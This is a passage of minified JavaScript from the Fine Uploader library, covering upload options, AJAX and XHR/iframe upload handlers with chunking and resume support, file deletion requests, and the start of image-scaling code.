issues."},retry:{enableAuto:!1,maxAutoAttempts:3,autoAttemptDelay:5,preventRetryResponseProperty:"preventRetry"},classes:{buttonHover:"qq-upload-button-hover",buttonFocus:"qq-upload-button-focus"},chunking:{enabled:!1,concurrent:{enabled:!1},mandatory:!1,paramNames:{partIndex:"qqpartindex",partByteOffset:"qqpartbyteoffset",chunkSize:"qqchunksize",totalFileSize:"qqtotalfilesize",totalParts:"qqtotalparts"},partSize:2e6,success:{endpoint:null}},resume:{enabled:!1,recordsExpireIn:7,paramNames:{resuming:"qqresume"}},formatFileName:function(e){return e},text:{defaultResponseError:"Upload failure reason unknown",fileInputTitle:"file input",sizeSymbols:["kB","MB","GB","TB","PB","EB"]},deleteFile:{enabled:!1,method:"DELETE",endpoint:"/server/upload",customHeaders:{},params:{}},cors:{expected:!1,sendCredentials:!1,allowXdr:!1},blobs:{defaultName:"misc_data"},paste:{targetElement:null,defaultName:"pasted_image"},camera:{ios:!1,button:null},extraButtons:[],session:{endpoint:null,params:{},customHeaders:{},refreshOnReset:!0},form:{element:"qq-form",autoUpload:!1,interceptSubmit:!0},scaling:{customResizer:null,sendOriginal:!0,orient:!0,defaultType:null,defaultQuality:80,failureText:"Failed to scale",includeExif:!1,sizes:[]},workarounds:{iosEmptyVideos:!0,ios8SafariUploads:!0,ios8BrowserCrash:!1}},qq.extend(this._options,e,!0),this._buttons=[],this._extraButtonSpecs={},this._buttonIdsForFileIds=[],this._wrapCallbacks(),this._disposeSupport=new qq.DisposeSupport,this._storedIds=[],this._autoRetries=[],this._retryTimeouts=[],this._preventRetries=[],this._thumbnailUrls=[],this._netUploadedOrQueued=0,this._netUploaded=0,this._uploadData=this._createUploadDataTracker(),this._initFormSupportAndParams(),this._customHeadersStore=this._createStore(this._options.request.customHeaders),this._deleteFileCustomHeadersStore=this._createStore(this._options.deleteFile.customHeaders),this._deleteFileParamsStore=this._createStore(this._options.deleteFile.params),this._endpointStore=this._createStore(this._options.request.endpoint),this._deleteFileEndpointStore=this._createStore(this._options.deleteFile.endpoint),this._handler=this._createUploadHandler(),this._deleteHandler=qq.DeleteFileAjaxRequester&&this._createDeleteHandler(),this._options.button&&(this._defaultButtonId=this._createUploadButton({element:this._options.button,title:this._options.text.fileInputTitle}).getButtonId()),this._generateExtraButtonSpecs(),this._handleCameraAccess(),this._options.paste.targetElement&&(qq.PasteSupport?this._pasteHandler=this._createPasteHandler():this.log("Paste support module not found","error")),this._preventLeaveInProgress(),this._imageGenerator=qq.ImageGenerator&&new qq.ImageGenerator(qq.bind(this.log,this)),this._refreshSessionData(),this._succeededSinceLastAllComplete=[],this._failedSinceLastAllComplete=[],this._scaler=qq.Scaler&&new qq.Scaler(this._options.scaling,qq.bind(this.log,this))||{},this._scaler.enabled&&(this._customNewFileHandler=qq.bind(this._scaler.handleNewFile,this._scaler)),qq.TotalProgress&&qq.supportedFeatures.progressBar&&(this._totalProgress=new qq.TotalProgress(qq.bind(this._onTotalProgress,this),function(e){var n=t._uploadData.retrieve({id:e});return n&&n.size||0})),this._currentItemLimit=this._options.validation.itemLimit},qq.FineUploaderBasic.prototype=qq.basePublicApi,qq.extend(qq.FineUploaderBasic.prototype,qq.basePrivateApi)}(),qq.AjaxRequester=function(e){"use strict";function t(){return qq.indexOf(["GET","POST","HEAD"],S.method)>=0}function n(e){var t=!1;return qq.each(t,function(e,n){if(qq.indexOf(["Accept","Accept-Language","Content-Language","Content-Type"],n)<0)return t=!0,!1}),t}function i(e){return S.cors.expected&&void 0===e.withCredentials}function o(){var e;return(window.XMLHttpRequest||window.ActiveXObject)&&(e=qq.createXhrInstance(),void 0===e.withCredentials&&(e=new XDomainRequest,e.onload=function(){},e.onerror=function(){},e.ontimeout=function(){},e.onprogress=function(){})),e}function r(e,t){var n=y[e].xhr;return n||(n=t?t:S.cors.expected?o():qq.createXhrInstance(),y[e].xhr=n),n}function a(e){var t,n=qq.indexOf(v,e),i=S.maxConnections;delete y[e],v.splice(n,1),v.length>=i&&n<i&&(t=v[i-1],u(t))}function s(e,t){var n=r(e),o=S.method,s=t===!0;a(e),s?_(o+" request for "+e+" has failed","error"):i(n)||m(n.status)||(s=!0,_(o+" request for "+e+" has failed - response code "+n.status,"error")),S.onComplete(e,n,s)}function l(e){var t,n=y[e].additionalParams,i=S.mandatedParams;return S.paramsStore.get&&(t=S.paramsStore.get(e)),n&&qq.each(n,function(e,n){t=t||{},t[e]=n}),i&&qq.each(i,function(e,n){t=t||{},t[e]=n}),t}function u(e,t){var n,o=r(e,t),a=S.method,s=l(e),u=y[e].payload;return S.onSend(e),n=c(e,s,y[e].additionalQueryParams),i(o)?(o.onload=h(e),o.onerror=q(e)):o.onreadystatechange=d(e),p(e),o.open(a,n,!0),S.cors.expected&&S.cors.sendCredentials&&!i(o)&&(o.withCredentials=!0),f(e),_("Sending "+a+" request for "+e),u?o.send(u):b||!s?o.send():s&&S.contentType&&S.contentType.toLowerCase().indexOf("application/x-www-form-urlencoded")>=0?o.send(qq.obj2url(s,"")):s&&S.contentType&&S.contentType.toLowerCase().indexOf("application/json")>=0?o.send(JSON.stringify(s)):o.send(s),o}function c(e,t,n){var i=S.endpointStore.get(e),o=y[e].addToPath;return void 0!=o&&(i+="/"+o),b&&t&&(i=qq.obj2url(t,i)),n&&(i=qq.obj2url(n,i)),i}function d(e){return function(){4===r(e).readyState&&s(e)}}function p(e){var t=S.onProgress;t&&(r(e).upload.onprogress=function(n){n.lengthComputable&&t(e,n.loaded,n.total)})}function h(e){return function(){s(e)}}function q(e){return function(){s(e,!0)}}function f(e){var o=r(e),a=S.customHeaders,s=y[e].additionalHeaders||{},l=S.method,u={};i(o)||(S.acceptHeader&&o.setRequestHeader("Accept",S.acceptHeader),S.allowXRequestedWithAndCacheControl&&(S.cors.expected&&t()&&!n(a)||(o.setRequestHeader("X-Requested-With","XMLHttpRequest"),o.setRequestHeader("Cache-Control","no-cache"))),!S.contentType||"POST"!==l&&"PUT"!==l||o.setRequestHeader("Content-Type",S.contentType),qq.extend(u,qq.isFunction(a)?a(e):a),qq.extend(u,s),qq.each(u,function(e,t){o.setRequestHeader(e,t)}))}function m(e){return qq.indexOf(S.successfulResponseCodes[S.method],e)>=0}function g(e,t,n,i,o,r,a){y[e]={addToPath:n,additionalParams:i,additionalQueryParams:o,additionalHeaders:r,payload:a};var s=v.push(e);if(s<=S.maxConnections)return u(e,t)}var _,b,v=[],y={},S={acceptHeader:null,validMethods:["PATCH","POST","PUT"],method:"POST",contentType:"application/x-www-form-urlencoded",maxConnections:3,customHeaders:{},endpointStore:{},paramsStore:{},mandatedParams:{},allowXRequestedWithAndCacheControl:!0,successfulResponseCodes:{DELETE:[200,202,204],PATCH:[200,201,202,203,204],POST:[200,201,202,203,204],PUT:[200,201,202,203,204],GET:[200]},cors:{expected:!1,sendCredentials:!1},log:function(e,t){},onSend:function(e){},onComplete:function(e,t,n){},onProgress:null};if(qq.extend(S,e),_=S.log,qq.indexOf(S.validMethods,S.method)<0)throw new Error("'"+S.method+"' is not a supported method for this type of request!");b="GET"===S.method||"DELETE"===S.method,qq.extend(this,{initTransport:function(e){var t,n,i,o,r,a;return{withPath:function(e){return t=e,this},withParams:function(e){return n=e,this},withQueryParams:function(e){return a=e,this},withHeaders:function(e){return i=e,this},withPayload:function(e){return o=e,this},withCacheBuster:function(){return r=!0,this},send:function(s){return r&&qq.indexOf(["GET","DELETE"],S.method)>=0&&(n.qqtimestamp=(new Date).getTime()),g(e,s,t,n,a,i,o)}}},canceled:function(e){a(e)}})},qq.UploadHandler=function(e){"use strict";var t=e.proxy,n={},i=t.onCancel,o=t.getName;qq.extend(this,{add:function(e,t){n[e]=t,n[e].temp={}},cancel:function(e){var t=this,r=new qq.Promise,a=i(e,o(e),r);a.then(function(){t.isValid(e)&&(n[e].canceled=!0,t.expunge(e)),r.success()})},expunge:function(e){delete n[e]},getThirdPartyFileId:function(e){return n[e].key},isValid:function(e){return void 0!==n[e]},reset:function(){n={}},_getFileState:function(e){return n[e]},_setThirdPartyFileId:function(e,t){n[e].key=t},_wasCanceled:function(e){return!!n[e].canceled}})},qq.UploadHandlerController=function(e,t){"use strict";var n,i,o,r=this,a=!1,s=!1,l={paramsStore:{},maxConnections:3,chunking:{enabled:!1,multiple:{enabled:!1}},log:function(e,t){},onProgress:function(e,t,n,i){},onComplete:function(e,t,n,i){},onCancel:function(e,t){},onUploadPrep:function(e){},onUpload:function(e,t){},onUploadChunk:function(e,t,n){},onUploadChunkSuccess:function(e,t,n,i){},onAutoRetry:function(e,t,n,i){},onResume:function(e,t,n){},onUuidChanged:function(e,t){},getName:function(e){},setSize:function(e,t){},isQueued:function(e){},getIdsInProxyGroup:function(e){},getIdsInBatch:function(e){}},u={done:function(e,t,n,i){var r=o._getChunkData(e,t);o._getFileState(e).attemptingResume=!1,delete o._getFileState(e).temp.chunkProgress[t],o._getFileState(e).loaded+=r.size,l.onUploadChunkSuccess(e,o._getChunkDataForCallback(r),n,i)},finalize:function(e){var t=l.getSize(e),n=l.getName(e);i("All chunks have been uploaded for "+e+" - finalizing...."),o.finalizeChunks(e).then(function(r,a){i("Finalize successful for "+e);var s=p.normalizeResponse(r,!0);l.onProgress(e,n,t,t),o._maybeDeletePersistedChunkData(e),p.cleanup(e,s,a)},function(t,o){var r=p.normalizeResponse(t,!1);i("Problem finalizing chunks for file ID "+e+" - "+r.error,"error"),r.reset&&u.reset(e),l.onAutoRetry(e,n,r,o)||p.cleanup(e,r,o)})},hasMoreParts:function(e){return!!o._getFileState(e).chunking.remaining.length},nextPart:function(e){var t=o._getFileState(e).chunking.remaining.shift();return t>=o._getTotalChunks(e)&&(t=null),t},reset:function(e){i("Server or callback has ordered chunking effort to be restarted on next attempt for item ID "+e,"error"),o._maybeDeletePersistedChunkData(e),o.reevaluateChunking(e),o._getFileState(e).loaded=0},sendNext:function(e){var t=l.getSize(e),n=l.getName(e),r=u.nextPart(e),a=o._getChunkData(e,r),d=o._getFileState(e).attemptingResume,h=o._getFileState(e).chunking.inProgress||[];null==o._getFileState(e).loaded&&(o._getFileState(e).loaded=0),d&&l.onResume(e,n,a)===!1&&(u.reset(e),r=u.nextPart(e),a=o._getChunkData(e,r),d=!1),null==r&&0===h.length?u.finalize(e):(i(qq.format("Sending chunked upload request for item {}.{}, bytes {}-{} of {}.",e,r,a.start+1,a.end,t)),l.onUploadChunk(e,n,o._getChunkDataForCallback(a)),h.push(r),o._getFileState(e).chunking.inProgress=h,s&&c.open(e,r),s&&c.available()&&o._getFileState(e).chunking.remaining.length&&u.sendNext(e),o.uploadChunk(e,r,d).then(function(t,n){i("Chunked upload request succeeded for "+e+", chunk "+r),o.clearCachedChunk(e,r);var a=o._getFileState(e).chunking.inProgress||[],s=p.normalizeResponse(t,!0),l=qq.indexOf(a,r);i(qq.format("Chunk {} for file {} uploaded successfully.",r,e)),u.done(e,r,s,n),l>=0&&a.splice(l,1),o._maybePersistChunkedState(e),u.hasMoreParts(e)||0!==a.length?u.hasMoreParts(e)?u.sendNext(e):i(qq.format("File ID {} has no more chunks to send and these chunk indexes are still marked as in-progress: {}",e,JSON.stringify(a))):u.finalize(e)},function(t,a){i("Chunked upload request failed for "+e+", chunk "+r),o.clearCachedChunk(e,r);var d,h=p.normalizeResponse(t,!1);h.reset?u.reset(e):(d=qq.indexOf(o._getFileState(e).chunking.inProgress,r),d>=0&&(o._getFileState(e).chunking.inProgress.splice(d,1),o._getFileState(e).chunking.remaining.unshift(r))),o._getFileState(e).temp.ignoreFailure||(s&&(o._getFileState(e).temp.ignoreFailure=!0,i(qq.format("Going to attempt to abort these chunks: {}. These are currently in-progress: {}.",JSON.stringify(Object.keys(o._getXhrs(e))),JSON.stringify(o._getFileState(e).chunking.inProgress))),qq.each(o._getXhrs(e),function(t,n){i(qq.format("Attempting to abort file {}.{}. XHR readyState {}. ",e,t,n.readyState)),n.abort(),n._cancelled=!0}),o.moveInProgressToRemaining(e),c.free(e,!0)),l.onAutoRetry(e,n,h,a)||p.cleanup(e,h,a))}).done(function(){o.clearXhr(e,r)}))}},c={_open:[],_openChunks:{},_waiting:[],available:function(){var e=l.maxConnections,t=0,n=0;return qq.each(c._openChunks,function(e,i){t++,n+=i.length}),e-(c._open.length-t+n)},free:function(e,t){var n,r=!t,a=qq.indexOf(c._waiting,e),s=qq.indexOf(c._open,e);delete c._openChunks[e],p.getProxyOrBlob(e)instanceof qq.BlobProxy&&(i("Generated blob upload has ended for "+e+", disposing generated blob."),delete o._getFileState(e).file),a>=0?c._waiting.splice(a,1):r&&s>=0&&(c._open.splice(s,1),n=c._waiting.shift(),n>=0&&(c._open.push(n),p.start(n)))},getWaitingOrConnected:function(){var e=[];return qq.each(c._openChunks,function(t,n){n&&n.length&&e.push(parseInt(t))}),qq.each(c._open,function(t,n){c._openChunks[n]||e.push(parseInt(n))}),e=e.concat(c._waiting)},isUsingConnection:function(e){return qq.indexOf(c._open,e)>=0},open:function(e,t){return null==t&&c._waiting.push(e),!!c.available()&&(null==t?(c._waiting.pop(),c._open.push(e)):!function(){var n=c._openChunks[e]||[];n.push(t),c._openChunks[e]=n}(),!0)},reset:function(){c._waiting=[],c._open=[]}},d={send:function(e,t){o._getFileState(e).loaded=0,i("Sending simple upload request for "+e),o.uploadFile(e).then(function(n,o){i("Simple upload request succeeded for "+e);var r=p.normalizeResponse(n,!0),a=l.getSize(e);l.onProgress(e,t,a,a),p.maybeNewUuid(e,r),p.cleanup(e,r,o)},function(n,o){i("Simple upload request failed for "+e);var r=p.normalizeResponse(n,!1);l.onAutoRetry(e,t,r,o)||p.cleanup(e,r,o)})}},p={cancel:function(e){i("Cancelling "+e),l.paramsStore.remove(e),c.free(e)},cleanup:function(e,t,n){var i=l.getName(e);l.onComplete(e,i,t,n),o._getFileState(e)&&o._clearXhrs&&o._clearXhrs(e),c.free(e)},getProxyOrBlob:function(e){return o.getProxy&&o.getProxy(e)||o.getFile&&o.getFile(e)},initHandler:function(){var e=t?qq[t]:qq.traditional,n=qq.supportedFeatures.ajaxUploading?"Xhr":"Form";o=new e[n+"UploadHandler"](l,{getDataByUuid:l.getDataByUuid,getName:l.getName,getSize:l.getSize,getUuid:l.getUuid,log:i,onCancel:l.onCancel,onProgress:l.onProgress,onUuidChanged:l.onUuidChanged}),o._removeExpiredChunkingRecords&&o._removeExpiredChunkingRecords()},isDeferredEligibleForUpload:function(e){return l.isQueued(e)},maybeDefer:function(e,t){return t&&!o.getFile(e)&&t instanceof qq.BlobProxy?(l.onUploadPrep(e),i("Attempting to generate a blob on-demand for "+e),t.create().then(function(t){i("Generated an on-demand blob for "+e),o.updateBlob(e,t),l.setSize(e,t.size),o.reevaluateChunking(e),p.maybeSendDeferredFiles(e)},function(t){var o={};t&&(o.error=t),i(qq.format("Failed to generate blob for ID {}.  Error message: {}.",e,t),"error"),l.onComplete(e,l.getName(e),qq.extend(o,n),null),p.maybeSendDeferredFiles(e),c.free(e)}),!1):p.maybeSendDeferredFiles(e)},maybeSendDeferredFiles:function(e){var t=l.getIdsInProxyGroup(e),n=!1;return t&&t.length?(i("Maybe ready to upload proxy group file "+e),qq.each(t,function(t,i){if(p.isDeferredEligibleForUpload(i)&&o.getFile(i))n=i===e,p.now(i);else if(p.isDeferredEligibleForUpload(i))return!1})):(n=!0,p.now(e)),n},maybeNewUuid:function(e,t){void 0!==t.newUuid&&l.onUuidChanged(e,t.newUuid)},normalizeResponse:function(e,t){var n=e;return qq.isObject(e)||(n={},qq.isString(e)&&!t&&(n.error=e)),n.success=t,n},now:function(e){var t=l.getName(e);if(!r.isValid(e))throw new qq.Error(e+" is not a valid file ID to upload!");l.onUpload(e,t),a&&o._shouldChunkThisFile(e)?u.sendNext(e):d.send(e,t)},start:function(e){var t=p.getProxyOrBlob(e);return t?p.maybeDefer(e,t):(p.now(e),!0)}};qq.extend(this,{add:function(e,t){o.add.apply(this,arguments)},upload:function(e){return!!c.open(e)&&p.start(e)},retry:function(e){return s&&(o._getFileState(e).temp.ignoreFailure=!1),c.isUsingConnection(e)?p.start(e):r.upload(e)},cancel:function(e){var t=o.cancel(e);qq.isGenericPromise(t)?t.then(function(){p.cancel(e)}):t!==!1&&p.cancel(e)},cancelAll:function(){var e,t=c.getWaitingOrConnected();if(t.length)for(e=t.length-1;e>=0;e--)r.cancel(t[e]);c.reset()},getFile:function(e){return o.getProxy&&o.getProxy(e)?o.getProxy(e).referenceBlob:o.getFile&&o.getFile(e)},isProxied:function(e){return!(!o.getProxy||!o.getProxy(e))},getInput:function(e){if(o.getInput)return o.getInput(e)},reset:function(){i("Resetting upload handler"),r.cancelAll(),c.reset(),o.reset()},expunge:function(e){if(r.isValid(e))return o.expunge(e)},isValid:function(e){return o.isValid(e)},getResumableFilesData:function(){
return o.getResumableFilesData?o.getResumableFilesData():[]},getThirdPartyFileId:function(e){if(r.isValid(e))return o.getThirdPartyFileId(e)},pause:function(e){return!!(r.isResumable(e)&&o.pause&&r.isValid(e)&&o.pause(e))&&(c.free(e),o.moveInProgressToRemaining(e),!0)},isResumable:function(e){return!!o.isResumable&&o.isResumable(e)}}),qq.extend(l,e),i=l.log,a=l.chunking.enabled&&qq.supportedFeatures.chunking,s=a&&l.chunking.concurrent.enabled,n=function(){var e={};return e[l.preventRetryParam]=!0,e}(),p.initHandler()},qq.WindowReceiveMessage=function(e){"use strict";var t={log:function(e,t){}},n={};qq.extend(t,e),qq.extend(this,{receiveMessage:function(e,t){var i=function(e){t(e.data)};window.postMessage?n[e]=qq(window).attach("message",i):log("iframe message passing not supported in this browser!","error")},stopReceivingMessages:function(e){if(window.postMessage){var t=n[e];t&&t()}}})},qq.FormUploadHandler=function(e){"use strict";function t(e){delete c[e],p&&(clearTimeout(d[e]),delete d[e],m.stopReceivingMessages(e));var t=document.getElementById(a._getIframeName(e));t&&(t.setAttribute("src","javascript:false;"),qq(t).remove())}function n(e){return e.split("_")[0]}function i(e){var t=qq.toElement("<iframe src='javascript:false;' name='"+e+"' />");return t.setAttribute("id",e),t.style.display="none",document.body.appendChild(t),t}function o(e,t){var i=e.id,o=n(i),r=q(o);u[r]=t,c[o]=qq(e).attach("load",function(){a.getInput(o)&&(f("Received iframe load event for CORS upload request (iframe name "+i+")"),d[i]=setTimeout(function(){var e="No valid message received from loaded iframe for iframe name "+i;f(e,"error"),t({error:e})},1e3))}),m.receiveMessage(i,function(e){f("Received the following window message: '"+e+"'");var t,o=(n(i),a._parseJsonResponse(e)),r=o.uuid;r&&u[r]?(f("Handling response for iframe name "+i),clearTimeout(d[i]),delete d[i],a._detachLoadEvent(i),t=u[r],delete u[r],m.stopReceivingMessages(i),t(o)):r||f("'"+e+"' does not contain a UUID - ignoring.")})}var r=e.options,a=this,s=e.proxy,l=qq.getUniqueId(),u={},c={},d={},p=r.isCors,h=r.inputName,q=s.getUuid,f=s.log,m=new qq.WindowReceiveMessage({log:f});qq.extend(this,new qq.UploadHandler(e)),qq.override(this,function(e){return{add:function(t,n){e.add(t,{input:n}),n.setAttribute("name",h),n.parentNode&&qq(n).remove()},expunge:function(n){t(n),e.expunge(n)},isValid:function(t){return e.isValid(t)&&void 0!==a._getFileState(t).input}}}),qq.extend(this,{getInput:function(e){return a._getFileState(e).input},_attachLoadEvent:function(e,t){var n;p?o(e,t):c[e.id]=qq(e).attach("load",function(){if(f("Received response for "+e.id),e.parentNode){try{if(e.contentDocument&&e.contentDocument.body&&"false"==e.contentDocument.body.innerHTML)return}catch(e){f("Error when attempting to access iframe during handling of upload response ("+e.message+")","error"),n={success:!1}}t(n)}})},_createIframe:function(e){var t=a._getIframeName(e);return i(t)},_detachLoadEvent:function(e){void 0!==c[e]&&(c[e](),delete c[e])},_getIframeName:function(e){return e+"_"+l},_initFormForUpload:function(e){var t=e.method,n=e.endpoint,i=e.params,o=e.paramsInBody,r=e.targetName,a=qq.toElement("<form method='"+t+"' enctype='multipart/form-data'></form>"),s=n;return o?qq.obj2Inputs(i,a):s=qq.obj2url(i,n),a.setAttribute("action",s),a.setAttribute("target",r),a.style.display="none",document.body.appendChild(a),a},_parseJsonResponse:function(e){var t={};try{t=qq.parseJson(e)}catch(e){f("Error when attempting to parse iframe upload response ("+e.message+")","error")}return t}})},qq.XhrUploadHandler=function(e){"use strict";function t(e){qq.each(n._getXhrs(e),function(t,i){var o=n._getAjaxRequester(e,t);i.onreadystatechange=null,i.upload.onprogress=null,i.abort(),o&&o.canceled&&o.canceled(e)})}var n=this,i=e.options.namespace,o=e.proxy,r=e.options.chunking,a=e.options.resume,s=r&&e.options.chunking.enabled&&qq.supportedFeatures.chunking,l=a&&e.options.resume.enabled&&s&&qq.supportedFeatures.resume,u=o.getName,c=o.getSize,d=o.getUuid,p=o.getEndpoint,h=o.getDataByUuid,q=o.onUuidChanged,f=o.onProgress,m=o.log;qq.extend(this,new qq.UploadHandler(e)),qq.override(this,function(e){return{add:function(t,i){if(qq.isFile(i)||qq.isBlob(i))e.add(t,{file:i});else{if(!(i instanceof qq.BlobProxy))throw new Error("Passed obj is not a File, Blob, or proxy");e.add(t,{proxy:i})}n._initTempState(t),l&&n._maybePrepareForResume(t)},expunge:function(i){t(i),n._maybeDeletePersistedChunkData(i),n._clearXhrs(i),e.expunge(i)}}}),qq.extend(this,{clearCachedChunk:function(e,t){delete n._getFileState(e).temp.cachedChunks[t]},clearXhr:function(e,t){var i=n._getFileState(e).temp;i.xhrs&&delete i.xhrs[t],i.ajaxRequesters&&delete i.ajaxRequesters[t]},finalizeChunks:function(e,t){var i=n._getTotalChunks(e)-1,o=n._getXhr(e,i);return t?(new qq.Promise).success(t(o),o):(new qq.Promise).success({},o)},getFile:function(e){return n.isValid(e)&&n._getFileState(e).file},getProxy:function(e){return n.isValid(e)&&n._getFileState(e).proxy},getResumableFilesData:function(){var e=[];return n._iterateResumeRecords(function(t,i){n.moveInProgressToRemaining(null,i.chunking.inProgress,i.chunking.remaining);var o={name:i.name,remaining:i.chunking.remaining,size:i.size,uuid:i.uuid};i.key&&(o.key=i.key),e.push(o)}),e},isResumable:function(e){return!!r&&n.isValid(e)&&!n._getFileState(e).notResumable},moveInProgressToRemaining:function(e,t,i){var o=t||n._getFileState(e).chunking.inProgress,r=i||n._getFileState(e).chunking.remaining;o&&(m(qq.format("Moving these chunks from in-progress {}, to remaining.",JSON.stringify(o))),o.reverse(),qq.each(o,function(e,t){r.unshift(t)}),o.length=0)},pause:function(e){if(n.isValid(e))return m(qq.format("Aborting XHR upload for {} '{}' due to pause instruction.",e,u(e))),n._getFileState(e).paused=!0,t(e),!0},reevaluateChunking:function(e){if(r&&n.isValid(e)){var t,i,o=n._getFileState(e);if(delete o.chunking,o.chunking={},t=n._getTotalChunks(e),t>1||r.mandatory){for(o.chunking.enabled=!0,o.chunking.parts=t,o.chunking.remaining=[],i=0;i<t;i++)o.chunking.remaining.push(i);n._initTempState(e)}else o.chunking.enabled=!1}},updateBlob:function(e,t){n.isValid(e)&&(n._getFileState(e).file=t)},_clearXhrs:function(e){var t=n._getFileState(e).temp;qq.each(t.ajaxRequesters,function(e){delete t.ajaxRequesters[e]}),qq.each(t.xhrs,function(e){delete t.xhrs[e]})},_createXhr:function(e,t){return n._registerXhr(e,t,qq.createXhrInstance())},_getAjaxRequester:function(e,t){var i=null==t?-1:t;return n._getFileState(e).temp.ajaxRequesters[i]},_getChunkData:function(e,t){var i=r.partSize,o=c(e),a=n.getFile(e),s=i*t,l=s+i>=o?o:s+i,u=n._getTotalChunks(e),d=this._getFileState(e).temp.cachedChunks,p=d[t]||qq.sliceBlob(a,s,l);return d[t]=p,{part:t,start:s,end:l,count:u,blob:p,size:l-s}},_getChunkDataForCallback:function(e){return{partIndex:e.part,startByte:e.start+1,endByte:e.end,totalParts:e.count}},_getLocalStorageId:function(e){var t="5.0",n=u(e),o=c(e),a=r.partSize,s=p(e);return qq.format("qq{}resume{}-{}-{}-{}-{}",i,t,n,o,a,s)},_getMimeType:function(e){return n.getFile(e).type},_getPersistableData:function(e){return n._getFileState(e).chunking},_getTotalChunks:function(e){if(r){var t=c(e),n=r.partSize;return Math.ceil(t/n)}},_getXhr:function(e,t){var i=null==t?-1:t;return n._getFileState(e).temp.xhrs[i]},_getXhrs:function(e){return n._getFileState(e).temp.xhrs},_iterateResumeRecords:function(e){l&&qq.each(localStorage,function(t,n){if(0===t.indexOf(qq.format("qq{}resume",i))){var o=JSON.parse(n);e(t,o)}})},_initTempState:function(e){n._getFileState(e).temp={ajaxRequesters:{},chunkProgress:{},xhrs:{},cachedChunks:{}}},_markNotResumable:function(e){n._getFileState(e).notResumable=!0},_maybeDeletePersistedChunkData:function(e){var t;return!!(l&&n.isResumable(e)&&(t=n._getLocalStorageId(e),t&&localStorage.getItem(t)))&&(localStorage.removeItem(t),!0)},_maybePrepareForResume:function(e){var t,i,o=n._getFileState(e);l&&void 0===o.key&&(t=n._getLocalStorageId(e),i=localStorage.getItem(t),i&&(i=JSON.parse(i),h(i.uuid)?n._markNotResumable(e):(m(qq.format("Identified file with ID {} and name of {} as resumable.",e,u(e))),q(e,i.uuid),o.key=i.key,o.chunking=i.chunking,o.loaded=i.loaded,o.attemptingResume=!0,n.moveInProgressToRemaining(e))))},_maybePersistChunkedState:function(e){var t,i,o=n._getFileState(e);if(l&&n.isResumable(e)){t=n._getLocalStorageId(e),i={name:u(e),size:c(e),uuid:d(e),key:o.key,chunking:o.chunking,loaded:o.loaded,lastUpdated:Date.now()};try{localStorage.setItem(t,JSON.stringify(i))}catch(t){m(qq.format("Unable to save resume data for '{}' due to error: '{}'.",e,t.toString()),"warn")}}},_registerProgressHandler:function(e,t,i){var o=n._getXhr(e,t),r=u(e),a={simple:function(t,n){var i=c(e);t===n?f(e,r,i,i):f(e,r,t>=i?i-1:t,i)},chunked:function(o,a){var s=n._getFileState(e).temp.chunkProgress,l=n._getFileState(e).loaded,u=o,d=a,p=c(e),h=u-(d-i),q=l;s[t]=h,qq.each(s,function(e,t){q+=t}),f(e,r,q,p)}};o.upload.onprogress=function(e){if(e.lengthComputable){var t=null==i?"simple":"chunked";a[t](e.loaded,e.total)}}},_registerXhr:function(e,t,i,o){var r=null==t?-1:t,a=n._getFileState(e).temp;return a.xhrs=a.xhrs||{},a.ajaxRequesters=a.ajaxRequesters||{},a.xhrs[r]=i,o&&(a.ajaxRequesters[r]=o),i},_removeExpiredChunkingRecords:function(){var e=a.recordsExpireIn;n._iterateResumeRecords(function(t,n){var i=new Date(n.lastUpdated);i.setDate(i.getDate()+e),i.getTime()<=Date.now()&&(m("Removing expired resume record with key "+t),localStorage.removeItem(t))})},_shouldChunkThisFile:function(e){var t=n._getFileState(e);return t.chunking||n.reevaluateChunking(e),t.chunking.enabled}})},qq.DeleteFileAjaxRequester=function(e){"use strict";function t(){return"POST"===i.method.toUpperCase()?{_method:"DELETE"}:{}}var n,i={method:"DELETE",uuidParamName:"qquuid",endpointStore:{},maxConnections:3,customHeaders:function(e){return{}},paramsStore:{},cors:{expected:!1,sendCredentials:!1},log:function(e,t){},onDelete:function(e){},onDeleteComplete:function(e,t,n){}};qq.extend(i,e),n=qq.extend(this,new qq.AjaxRequester({acceptHeader:"application/json",validMethods:["POST","DELETE"],method:i.method,endpointStore:i.endpointStore,paramsStore:i.paramsStore,mandatedParams:t(),maxConnections:i.maxConnections,customHeaders:function(e){return i.customHeaders.get(e)},log:i.log,onSend:i.onDelete,onComplete:i.onDeleteComplete,cors:i.cors})),qq.extend(this,{sendDelete:function(e,t,o){var r=o||{};i.log("Submitting delete file request for "+e),"DELETE"===i.method?n.initTransport(e).withPath(t).withParams(r).send():(r[i.uuidParamName]=t,n.initTransport(e).withParams(r).send())}})},function(){function e(e){var t,n=e.naturalWidth,i=e.naturalHeight,o=document.createElement("canvas");return n*i>1048576&&(o.width=o.height=1,t=o.getContext("2d"),t.drawImage(e,-n+1,0),0===t.getImageData(0,0,1,1).data[3])}function t(e,t,n){var i,o,r,a,s=document.createElement("canvas"),l=0,u=n,c=n;for(s.width=1,s.height=n,i=s.getContext("2d"),i.drawImage(e,0,0),o=i.getImageData(0,0,1,n).data;c>l;)r=o[4*(c-1)+3],0===r?u=c:l=c,c=u+l>>1;return a=c/n,0===a?1:a}function n(e,t,n,i){var r=document.createElement("canvas"),a=n.mime||"image/jpeg",s=new qq.Promise;return o(e,t,r,n,i).then(function(){s.success(r.toDataURL(a,n.quality||.8))}),s}function i(e){var t=5241e3;if(!qq.ios())throw new qq.Error("Downsampled dimensions can only be reliably calculated for iOS!");if(e.origHeight*e.origWidth>t)return{newHeight:Math.round(Math.sqrt(t*(e.origHeight/e.origWidth))),newWidth:Math.round(Math.sqrt(t*(e.origWidth/e.origHeight)))}}function o(n,o,s,l,u){var c,d=n.naturalWidth,p=n.naturalHeight,h=l.width,q=l.height,f=s.getContext("2d"),m=new qq.Promise;return f.save(),l.resize?r({blob:o,canvas:s,image:n,imageHeight:p,imageWidth:d,orientation:l.orientation,resize:l.resize,targetHeight:q,targetWidth:h}):(qq.supportedFeatures.unlimitedScaledImageSize||(c=i({origWidth:h,origHeight:q}),c&&(qq.log(qq.format("Had to reduce dimensions due to device limitations from {}w / {}h to {}w / {}h",h,q,c.newWidth,c.newHeight),"warn"),h=c.newWidth,q=c.newHeight)),a(s,h,q,l.orientation),qq.ios()?!function(){e(n)&&(d/=2,p/=2);var 